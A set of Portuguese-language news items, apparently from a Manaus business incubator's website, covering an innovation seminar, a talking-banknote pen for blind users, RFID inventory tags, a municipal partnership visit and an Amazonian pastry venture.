Incubadoras do Brasil buscam novas conexões em evento

AnprotecCide

Com o objetivo de discutir a busca de novos caminhos para que os ambientes de inovação ampliem suas conexões com os setores público e privado, vários gestores de incubadoras de empresas, representantes de centros de pesquisas, de universidades, de associações ligadas à inovação industrial, de parques tecnológicos e do Ministério da Ciência, Tecnologia e Inovação (MCTI) estiveram reunidos, no 24º Seminário Nacional de Parques Tecnológicos e Incubadoras de Empresas, realizado pela Associação Nacional de Entidades Promotoras de Empreendimentos Inovadores (Anprotec) e pelo Serviço Brasileiro de Apoio às Micro e Pequenas Empresas (SEBRAE), entre os dias 22 e 26 de setembro, em Belém do Pará.

Com o tema “Fronteiras do empreendedorismo inovador: novas conexões para resultados”, os participantes do evento discutiram sobre a busca de novos parceiros, como entidades, grandes empresas e investidores, em escala nacional e internacional.

Para o diretor executivo do Centro de Incubação e Desenvolvimento Empresarial (CIDE), José Barbosa Grosso, um dos desafios das incubadoras é o monitoramento das empresas instaladas. “Muitas empresas incubadas possuem uma boa ideia, mas não estão preparadas para dar continuidade no mercado, quando concluem o processo de incubação. Então, temos de ver o que está acontecendo com esses empreendimentos”, diz o gestor.

Ainda de acordo com o diretor do CIDE, o futuro das incubadoras é uma preocupação muito grande por parte da Anprotec. “Durante o evento, ouvimos casos de empresas incubadas que relataram seu desenvolvimento e falaram de seus trabalhos premiados e, realmente, podemos afirmar que a incubação é um processo que se renova cada ano e temos de acompanhar essas mudanças”, afirma José Grosso, acrescentando que novas ideias foram expostas ao longo das plenárias e que podem ser aplicadas no CIDE.

Também estiveram no seminário representantes das incubadoras da FUCAPI, do Instituto Federal do Amazonas (IFAM) e da Faculdade Marta Falcão.

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Pentop apresenta projeto “Dinheiro falante”

A Pentop do Brasil, empresa associada ao Centro de Incubação e Desenvolvimento Empresarial (CIDE), desenvolveu uma tecnologia para a identificação de dinheiro para pessoas com deficiência visual, utilizando uma caneta (pentops) para falar o valor da cédula. A apresentação aconteceu em um grande hotel de Manaus.

Segundo o diretor de negócios da Pentop, Marivaldo Albuquerque, a tecnologia poderá ser utilizada por “casas da moeda” no Brasil e em outros países para a produção do “dinheiro falante”. “A ideia surgiu a partir da observação da dificuldade de identificação de cédulas de dinheiro por parte de pessoas com deficiência visual e pela ausência de dispositivos para este uso específico”, diz Marivaldo.

O diretor da Pentop, Marivaldo Albuquerque, apresenta o projeto “Dinheiro falante”

O processo de comercialização da tecnologia ainda está em andamento e a empresa procura o apoio de instituições locais e nacionais. “Há dificuldade de implantação da tecnologia na Casa da Moeda do Brasil, por envolver muitos atores e fatores que impedem a implantação imediata”, diz o diretor da Pentop com a esperança de que as dificuldades sejam eliminadas.

Para Marivaldo a apresentação foi excelente para apresentar os resultados do projeto e para receber o feedback dos avaliadores e saber o que a empresa pode melhorar em termo de relatórios e detalhes do projeto.

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SEMEF procura no CIDE possíveis parcerias

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Com o objetivo de fazer parcerias na área de Tecnologia e Sistemas Informatizados, o subsecretário de Tecnologia da Informação da Secretaria Municipal de Finanças (SEMEF), Eudo Assis, esteve no Centro de Incubação e Desenvolvimento Empresarial (CIDE) para conhecer os trabalhos das empresas de base tecnológica que estão instaladas na incubadora.

Acompanhado do diretor executivo da instituição, José Cunha Barbosa Grosso, o subsecretário conversou com os empresários incubados. “Fizemos um levantamento na Semef e concluímos que para dar mais modernidade e segurança nos serviços da secretaria, precisamos de mais sistemas informatizados. Fizemos também, uma pesquisa que mostrou que há no mercado local, empresas capazes de atender essa demanda. Por isso, decidimos fazer uma visita ao Cide”, diz Eudo Assis.

Para o diretor executivo do CIDE, as empresas de tecnologia incubadas no Cide possuem profissionais e produtos capazes de desenvolver sistemas de informática para auxiliar as secretarias. “Ficamos felizes com a visita do sub-secretário e esperamos que a Semef encontre nas empresas incubadas de tecnologia o sistema de informática que eles estão buscando”, conclui José Barbosa Grosso.

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Etiquetas “inteligentes” podem evitar extravio de mercadorias

labelnoticiaAs etiquetas de RFID (Radio Frequency Identification), conhecidas como “etiquetas inteligentes” capazes de rastrear produtos e patrimônios são produzidas pela Label Evolution Technology System (LETS), empresa desenvolvedora de soluções inteligentes e associada ao Centro de Incubação e Desenvolvimento Empresarial (CIDE), desde 2009.

As etiquetas de RFID podem armazenar grande quantidade de informação, gravando detalhes do produto, como lote, peso, entre outros, e evitando desvios de mercadorias e objetos dentro de uma empresa ou instituição. “A Label realiza todo o processo da etiqueta, passando pela visita ao cliente para conhecer suas necessidades, elaborando e confeccionando a etiqueta e o software mais adequado, e realizando todos os testes antes da aplicação”, diz o diretor técnico da empresa, Daniel Leão.

Outra vantagem que oferece a etiqueta é a redução de processos manuais como captura de dados, reduzindo o erro humano e permitindo que os funcionários se dediquem a atividades de maior valor agregado. “Com as etiquetas de RFID, os processos se tornam mais eficientes e confiáveis, economizando tempo em cada etapa do trabalho, e elas podem ser aplicadas, por exemplo, na área da educação e da saúde, entre outras”, diz Leão.

COMO FUNCIONA

A etiqueta inteligente RFID é um sistema composto basicamente por um chip (circuito eletrônico integrado) e antenas. As informações sobre o item identificado ficam armazenadas no chip RFID, que transmite seu ID e seus dados. “Por exemplo, em um hospital de coleta de sangue, com esse sistema, um funcionário pode fazer a leitura de 60 bolsas de sangue ao mesmo tempo, sem tocar em nenhuma bolsa, obtendo informações do nome de cada doador, do tipo de sangue, a hora em que o sangue foi armazenado, a idade do doador, etc.”, explica Leão. Isso é possível porque a leitora, também fornecida pela LETS, captura os dados e os envia a um sistema central para que sejam gravados e colocados à disposição.

Com a “etiqueta inteligente” produtos e mercadorias podem ser melhor controlados nos estoques. “Uma vez que o produto recebeu a etiqueta, passou pelo processo de leitura e, portanto, suas informações foram transmitidas ao sistema central, você garante eficiência e segurança porque, em caso de extravio dessa mercadoria, você vai conseguir rastreá-la, prevenindo roubos e diferenças no estoque”, conta o diretor técnico.

Os produtos RFID são resistentes a poeira, sujeira, altas temperaturas, vibrações e a outras condições mais severas.

Segundo Daniel Leão, a LETS é pioneira nesse segmento de “etiquetas inteligentes” na Região e domina a tecnologia. “As soluções de segurança, qualidade de economia do sistema RFID garantem ganhos para a sua empresa”, conclui.

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Conhecimento português com ingredientes amazônicos

DSC04416Depois de conhecer uma amazonense com a qual se casou, o português, Jorge Carlos Neves, desembarcou em Manaus em dezembro de 2008, com o objetivo de dar aulas e treinamentos em confeitaria e panificação, atividades que ele exercia em Portugal.

Apesar de possuir um currículo impressionante, o professor não conseguiu que as portas dos cursinhos se abrissem para ele na cidade. “Simplesmente, me davam os parabéns e não acontecia nada”, lembra ele.

Mas, após quatro de meses de tentativas e procuras, Jorge Carlos recebeu um telefonema do SENAC de São Paulo, convidando-o para dar cursos naquela instituição. “De São Paulo, eu fui para as unidades do Rio de Janeiro, Alagoas, Goiânia, Belo Horizonte e Porto Alegre para dar aulas de confeitaria”, destaca, dizendo também, que sempre voltava a Manaus, onde morava com sua esposa.

Depois de tantas viagens e aulas, o lusitano decidiu dedicar-se à confeitaria portuguesa, fazendo doces e vendendo-os na feira da Eduardo Ribeiro, mas com uma inovação. “Além de vender os doces portugueses, eu percebi que havia uma demanda no segmento da confeitaria e panificação por produtos tipicamente amazônicos, feitos com matéria prima da Região. Isso era um pedido dos turistas que compravam com a gente”, diz.

Jorge conta que os produtos portugueses, feitos por ele, agradaram muito aos fregueses e, em poucos meses, ele começou a receber encomendas de restaurantes e festas, e, paralelamente, frequentava os cursos do Serviço Brasileiro de Apoio às Micros e Pequenas Empresas (SEBRAE-AM). “Então, surgiu uma oportunidade na Fundação de Amparo à Pesquisa do Estado do Amazonas (FAPEAM) para submeter meu projeto sobre confeitaria amazônica e a ideia começou a dar certo e a crescer”, conta.

O Bolo Amazônico

Em 2012, o empreendedor Jorge Carlos, procura o Centro de Incubação e Desenvolvimento Empresarial (CIDE) para instalar a Sabores de Tradição e colocar em prática a criação do “bolo amazônico”, uma proposta que já começou a dar os primeiros frutos em uma importante feira de alimentos de São Paulo e que pode ser degustado na Cafeteria do Largo, estabelecimento aberto também pelo professor de culinária portuguesa.

Com a incubação da empresa no CIDE, o empreendedor português ganhou mais espaço, teve contatos com outros empreendedores e ampliou a lista de clientes. “O futuro está na confeitaria amazônica. Esse é o grande projeto da minha empresa e que foi pensado para todo o mercado brasileiro”, destaca Jorge Carlos, lembrando que continuará atendendo o mercado de Manaus com a confeitaria portuguesa também.

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